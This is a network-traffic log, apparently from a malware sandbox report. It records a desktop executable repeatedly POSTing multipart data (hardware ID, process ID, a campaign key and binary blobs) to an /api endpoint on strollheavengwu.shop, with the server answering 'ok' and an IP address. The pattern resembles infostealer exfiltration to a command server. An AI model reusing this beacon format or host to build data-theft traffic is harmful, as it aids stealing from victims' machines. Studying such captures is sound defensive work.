Qvy2q1mOHaCW/X8ZYJLqpvtE3I5kQsqn3FSi9Tqe6oVO47K/EeV2u9ySEQME8obl80yV2C8NjOCyOM+7L4Os0gOqmqAa6nv/sP4LTmCSmI6XI9zRKkKU7Jpfqv4okeqOROyxvhntdbDckxAPCPKI5/pNlt0gD8+o3BPqk0PwrI1ZquP5WcZtstSSVGhj5s+Ol1H0vU1Cy6KaC+a7I5fojUHnuLMc4ny62J0GCAj+k/T8QZnaJQLIqNNVp/9o1YT
2024-04-21 06:40:56 UTC	1369	IN	Data Raw: 36 4e 5a 76 6a 54 2f 37 5a 59 61 44 67 2f 76 6b 4b 76 62 52 70 76 58 4d 42 4c 62 6f 5a 6f 64 7a 4a 42 44 32 2b 72 4b 47 61 6a 6f 39 58 47 4e 48 66 2f 63 68 46 52 59 53 71 6e 54 76 61 6b 62 79 34 5a 30 61 71 65 78 6c 44 76 50 34 6b 44 77 68 38 70 58 71 75 50 35 53 36 67 65 31 4c 50 56 42 6b 42 51 75 38 47 68 2f 31 71 4f 30 43 55 55 7a 2b 6e 6b 62 59 50 74 49 70 7a 38 6a 56 62 6c 2b 2f 56 78 6a 52 33 2f 31 39 56 4d 51 6a 47 52 36 6f 32 58 43 4a 58 52 50 52 50 61 6f 38 70 55 35 4a 4e 44 38 4e 50 45 4b 59 48 51 2b 77 47 6d 4c 76 32 59 6f 42 63 4f 42 76 36 58 39 37 46 76 69 74 77 68 45 73 75 35 31 52 50 71 6b 30 50 77 72 49 77 42 73 76 6e 6f 56 34 34 64 31 4a 69 52 42 55 42 51 75 39 47 30 70 78 33 50 67 58 5a 51 70 4d 58 46 48 63 79 51 4d 66 4f 48 34 51 48 38 Data Ascii: 6NZvjT/7ZYaDg/vkKvbRpvXMBLboZodzJBD2+rKGajo9XGNHf/chFRYSqnTvakby4Z0aqexlDvP4kDwh8pXquP5S6ge1LPVBkBQu8Gh/1qO0CUUz+nkbYPtIpz8jVbl+/VxjR3/19VMQjGR6o2XCJXRPRPao8pU5JND8NPEKYHQ+wGmLv2YoBcOBv6X97FvitwhEsu51RPqk0PwrIwBsvnoV44d1JiRBUBQu9G0px3PgXZQpMXFHcyQMfOH4QH8
2024-04-21 06:40:56 UTC	1369	IN	Data Raw: 52 50 2f 39 75 48 42 6b 38 5a 37 34 7a 32 2b 77 53 55 78 79 73 4f 6a 4f 43 59 45 2b 6a 2f 49 35 66 70 6a 56 47 6c 71 61 73 53 36 6d 44 7a 33 49 64 55 54 6b 71 35 6b 4f 33 7a 57 70 4c 52 61 52 50 61 6f 38 70 51 6f 66 78 6b 6b 2f 32 48 54 61 72 31 2b 56 6e 7a 66 62 50 65 6d 41 46 50 47 65 2b 43 38 50 73 45 6c 4d 63 72 44 6f 79 52 6c 44 76 50 6b 47 69 44 72 4e 49 44 71 6f 36 34 46 2b 68 78 71 63 6e 59 4e 41 73 45 2b 6f 33 6e 2b 77 6a 53 76 6b 31 70 6a 4b 69 61 43 2b 61 6f 5a 76 4f 48 34 51 48 75 71 76 74 42 70 43 62 74 67 38 42 48 56 31 69 72 36 59 33 6a 42 76 53 39 50 32 71 6e 78 5a 70 46 35 4b 4e 71 79 61 4c 69 4b 6f 48 37 71 56 6d 2b 4e 50 2b 66 6c 67 59 53 44 76 71 58 35 62 74 32 6f 74 63 72 44 59 43 67 30 56 4f 6a 36 7a 36 41 6f 49 4a 43 38 4b 47 46 4a Data Ascii: RP/9uHBk8Z74z2+wSUxysOjOCYE+j/I5fpjVGlqasS6mDz3IdUTkq5kO3zWpLRaRPao8pQofxkk/2HTar1+VnzfbPemAFPGe+C8PsElMcrDoyRlDvPkGiDrNIDqo64F+hxqcnYNAsE+o3n+wjSvk1pjKiaC+aoZvOH4QHuqvtBpCbtg8BHV1ir6Y3jBvS9P2qnxZpF5KNqyaLiKoH7qVm+NP+flgYSDvqX5bt2otcrDYCg0VOj6z6AoIJC8KGFJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.163.209	443	6244	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 06:40:56 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18161 Host: strollheavengwu.shop
2024-04-21 06:40:56 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 31 46 35 33 41 35 38 35 44 32 43 44 38 43 35 34 39 30 31 30 43 46 46 31 38 30 33 39 44 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F61F53A585D2CD8C549010CFF18039DE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 06:40:56 UTC	2830	OUT	Data Raw: 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f Data Ascii: 2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?
2024-04-21 06:40:57 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 06:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nsqoi3l1dn1o4a43km7fuihl38; expires=Thu, 15-Aug-2024 00:27:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eO8HSl7dBhlPgxt6SaEMOmHd2cIxRubZOaRTgGaiFQOloF%2FIepvGVSOl8HGJIs0UsbrH31LM9IaxAdXLf%2FhJyhzx238Vty%2BnwyxEg41tJj5HJ1zs%2FBuW4cUNxeKUBDCj%2FVxDHU6ffQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b62b29fe744e7-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 06:40:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 06:40:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.163.209	443	6244	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 06:40:57 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8782 Host: strollheavengwu.shop
2024-04-21 06:40:57 UTC	8782	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 31 46 35 33 41 35 38 35 44 32 43 44 38 43 35 34 39 30 31 30 43 46 46 31 38 30 33 39 44 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F61F53A585D2CD8C549010CFF18039DE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 06:40:58 UTC	804	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 06:40:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=04dr56m3vs25p9dck3dv7j7epa; expires=Thu, 15-Aug-2024 00:27:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fGJqUDci4LUfj4HL7cB7zFVJ4zqqyKWmih51ZIzfxC%2FVZ4h9qgY9qMvyeMbuAiJNjvsPHFNsHiBDfoNk628WCYvvNmd5Zy82MEQxk2ZK1WqsnM4KWxgxm98WIXzqu5U88g6FpwrYfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b62b85e0244de-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 06:40:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 06:40:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.163.209	443	6244	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 06:40:58 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20435 Host: strollheavengwu.shop
2024-04-21 06:40:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 31 46 35 33 41 35 38 35 44 32 43 44 38 43 35 34 39 30 31 30 43 46 46 31 38 30 33 39 44 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F61F53A585D2CD8C549010CFF18039DE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 06:40:58 UTC	5104	OUT	Data Raw: 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-21 06:40:59 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 06:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9dnih4r8rg3c6cg3np3v25bbbb; expires=Thu, 15-Aug-2024 00:27:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aAjlCC%2BEUZjLwqjj3mPVzUkWJY%2BmqDPK2Ht0vn%2FlKokoih38582oF8wwU5eV5W%2F%2FiZY6XHO21E7M7QAWSjKC1An5oMX23LAZJZyGK35HOhtaNLOqNObikrvYBJYzwduSUgo9pZERWw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b62bf3cc9ad92-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 06:40:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 06:40:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.163.209	443	6244	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 06:40:59 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5438 Host: strollheavengwu.shop
2024-04-21 06:40:59 UTC	5438	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 31 46 35 33 41 35 38 35 44 32 43 44 38 43 35 34 39 30 31 30 43 46 46 31 38 30 33 39 44 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F61F53A585D2CD8C549010CFF18039DE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 06:41:00 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 06:41:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ooj9cpet78qnafkijb656mbiui; expires=Thu, 15-Aug-2024 00:27:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W3JwbxCy4oFTviEG7SRBiukxk%2BwUrkXF7Wtx2j%2FVEB17oi61Cv5U%2FO5%2B9iL2MstfbJXtW3uuFKJnWbkIef%2FDpCGfj7ZQXwi2pi0MIudi8K4u4h4R90F%2BPEoepy5LDRJmaZTz7tfC8w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b62c56e9b1f9d-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 06:41:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 06:41:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	172.67.163.209	443	6244	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 06:41:00 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1390 Host: strollheavengwu.shop
2024-04-21 06:41:00 UTC	1390	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 31 46 35 33 41 35 38 35 44 32 43 44 38 43 35 34 39 30 31 30 43 46 46 31 38 30 33 39 44 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F61F53A585D2CD8C549010CFF18039DE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 06:41:01 UTC	804	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 06:41:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qpbf6ibvqij43o8k51vtur621j; expires=Thu, 15-Aug-2024 00:27:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yKRf1LBndmHPQ5wZhwRhtZG8Cmne5GCsN836wA6Ai0bKV87piLHZTlkHJt2Crl2QGS17flEXlCr2rXHhMba5m9xSBu8U7AumDJagdogBBtJCzXfXG%2BC2WfLbHNBQH29HNQ60kv3BSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b62ca9ccb1377-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 06:41:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 06:41:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	172.67.163.209	443	6244	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 06:41:01 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 575016 Host: strollheavengwu.shop
2024-04-21 06:41:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 31 46 35 33 41 35 38 35 44 32 43 44 38 43 35 34 39 30 31 30 43 46 46 31 38 30 33 39 44 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F61F53A585D2CD8C549010CFF18039DE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 06:41:01 UTC	15331	OUT	Data Raw: b6 b1 6c 3b 74 44 96 d8 fa be 6d 2f 71 f0 98 de d0 8f 82 bf fc 01 31 a7 7c 59 83 6e 52 4b 6f 1b 87 17 cd dc 4a 16 09 b6 4b 43 b2 45 ba 89 bc d9 a0 af ff df 8a c9 7e 41 90 bc 2e 0b 23 b9 9a 26 fe f7 69 29 ce 6f 21 2a 2a 0d c9 c3 b3 c9 0b a2 db 6b 9e be e6 70 fd 77 2b 9b 29 62 31 2f de 53 60 c7 7e 60 8f 43 a7 43 94 b9 5f 25 5e 1f 01 b3 c2 22 eb e0 15 e0 77 a1 54 40 17 8e c6 12 af 8c d7 eb e0 0a 7c eb d3 b4 8a 4f 7d e3 1b 8a dc 81 ee 4c 30 65 2e 19 32 ef 9c e5 66 bc 23 85 b7 88 e6 f5 5d 41 3f 97 b3 9d a8 92 02 b3 1d a6 b5 bd f7 a9 f7 ef 32 38 b9 25 3c b6 6f c1 44 44 ff 5c 24 e9 69 dd 04 cb 45 ec b0 6f d6 3b 08 83 12 74 04 57 cc 48 39 75 06 22 b6 9e a8 f3 5a a9 88 bb 28 34 06 f5 bc a5 a6 dc 5f f1 45 e5 e8 03 48 27 d2 ab d8 78 f3 8d 3e c4 f7 ea ed e2 e7 a5 83 Data Ascii: l;tDm/q1\|YnRKoJKCE~A.#&i)o!**kpw+)b1/S`~`CC_%^"wT@\|O}L0e.2f#]A?28%<oDD\$iEo;tWH9u"Z(4_EH'x>
2024-04-21 06:41:01 UTC	15331	OUT	Data Raw: 34 ad 30 5c ac f9 32 ec d7 aa b0 30 1a c1 e3 d3 0d 6f 69 52 c4 1d 9c 95 01 a8 4d 97 90 9f 81 0b 51 02 ea 37 72 33 6e dc 3d 76 90 fe cd 22 b6 4c f1 78 6d 3a aa 4a 4e 0b 04 37 c5 2d 4f ec 05 70 bf ff d8 fc cc 38 b7 9d 39 9a 30 15 3b a7 08 0a 66 9e 26 40 65 26 ea 8c 7c 5f 74 c1 a1 bc b5 12 84 ae 59 6d ff 5e a6 ab 89 06 2f 90 9a 30 01 f3 86 8b 6b 8a 40 de 1c f4 17 e0 9f fd b7 17 28 1f b0 7a 8e 79 76 8e 2f fb 77 e0 30 e6 3c 5e 8f 81 d1 28 9c 07 b0 75 77 73 1d 77 1f 8a d4 67 b6 8f 5c 1f cd d9 8a 12 d0 88 be 4e 00 5b 87 a4 b3 d4 d6 f7 fe 1d 90 56 56 d5 46 fb 0b 5f 8c a2 b8 4e d8 bf 7f da 7c ce 6f cb 61 8a 04 b2 ee c7 14 43 69 5e 01 08 b5 43 a8 7f 1a df de 15 ae f9 9c fa 85 fa d0 67 9d 88 85 95 5f 1c d5 6c e0 c9 63 60 d5 4d ea 8c 95 aa b0 f3 5e fe d7 c9 75 d6 9f Data Ascii: 40\20oiRMQ7r3n=v"Lxm:JN7-Op890;f&@e&\|_tYm^/0k@(zyv/w0<^(uwswg\N[VVF_N\|oaCi^Cg_lc`M^u
